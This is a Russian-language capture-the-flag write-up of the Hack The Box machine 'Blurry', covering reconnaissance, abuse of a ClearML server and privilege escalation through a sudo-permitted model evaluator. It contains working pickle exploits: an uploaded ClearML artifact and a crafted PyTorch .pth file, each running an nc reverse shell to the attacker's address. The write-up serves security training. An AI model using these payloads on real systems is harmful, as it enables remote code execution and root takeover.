Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/370.

Также на https://boosty.to/kiberdruzhinnik/posts/4be5cfa9-26e1-468b-bbff-6230ab330c66 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Начнем решение со стандартного сканирования портов:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://app.blurry.htb/

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 05:49
Completed NSE at 05:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 05:49
Completed NSE at 05:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.49 seconds

Перед исследованием сразу пробежимся с помощью gobuster и попробуем найти другие домены:

$ gobuster vhost -u http://blurry.htb -w ~/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://blurry.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /home/kiberdruzhinnik/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2024/06/09 08:51:09 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api.blurry.htb Status: 400 [Size: 280]
Found: chat.blurry.htb Status: 200 [Size: 218733]
Found: app.blurry.htb Status: 200 [Size: 13327]
Found: files.blurry.htb Status: 200 [Size: 2]
Progress: 4989 / 4990 (99.98%)
===============================================================
2024/06/09 08:52:10 Finished
===============================================================

Сразу занесем все найденное в /etc/hosts.

Веб

На домене развернут ClearML - софт для MLOps.

alt text

На chat.blurry.htb видим Rocket Chat.

alt text

Я сразу зарегистрировал аккаунт и провалился в чат. В чате идет обсуждение следующего спринта и упоминается ClearML.

Возвращаемся в ClearML и переходим в проект Black Swan. Пользователь Chad Jippity проверяет артефакты после тренировки моделей.

alt text

Мы не можем просто так загрузить задачу, поэтому нам придется установить ClearML на свою машину.

alt text

python3 -m venv env
source env/bin/activate
pip install clearml
clearml-init

Нам говорят перейти на http://app.blurry.htb/settings/workspace-configuration и создать креды. Так и поступим.

alt text

Мы заставляем ClearML запустить нашу задачу с реверс-шеллом в пикле, а еще проставляем на задачу тег review. Именно этот тег заставит пользователя Chad Jippity запустить код.

Файл exp.py:

import os
from clearml import Task
import base64
import time

task = Task.init(project_name='Black Swan', task_name='Generate and Upload Pickle', tags=["review"], task_type=Task.TaskTypes.data_processing)

class Pickle:
 def __reduce__(self):
  cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.107 4242 >/tmp/f"
  return os.system, (cmd,)


rng_name = base64.b64encode(str(time.time()).encode()).decode()
task.upload_artifact(name=rng_name, artifact_object=Pickle())
task.execute_remotely(queue_name='default')
# запустим слушателя
rlwrap nc -lnvp 4242
# и сразу же запустим скрипт
python3 exp.py

Ловим шелл и понимаем, что пользователь запустил его из-под себя.

alt text

Флаг пользователя

alt text

Повышение привилегий

Сразу же попробуем выполнить sudo -l:

$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

Без пароля можем запустить оценку модели. Проверим права на каталог /models:

$ ls -la / | grep models
drwxrwxr-x   2 root jippity  4096 Jun  9 02:53 models

Группа нашего пользователя jippity может записать модель в этот каталог.

Создадим свою модель с реверс-шеллом.

Файл root.py:

import torch
import torch.nn as nn
import os

class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)

    def forward(self, x):
        return self.linear(x)

    def __reduce__(self):
        # Custom reduce method
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.107 4246 >/tmp/f"
        return os.system, (cmd,)

# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')

Запустим слушателя и скрипт:

rlwrap nc -lvnp 4246
python3 root.py

Загрузим на машину получившийся файл evil.pth в каталог /models, а после запустим модель:

sudo /usr/bin/evaluate_model /models/evil.pth

И сразу ловим шелл:

alt text

Флаг суперпользователя

alt text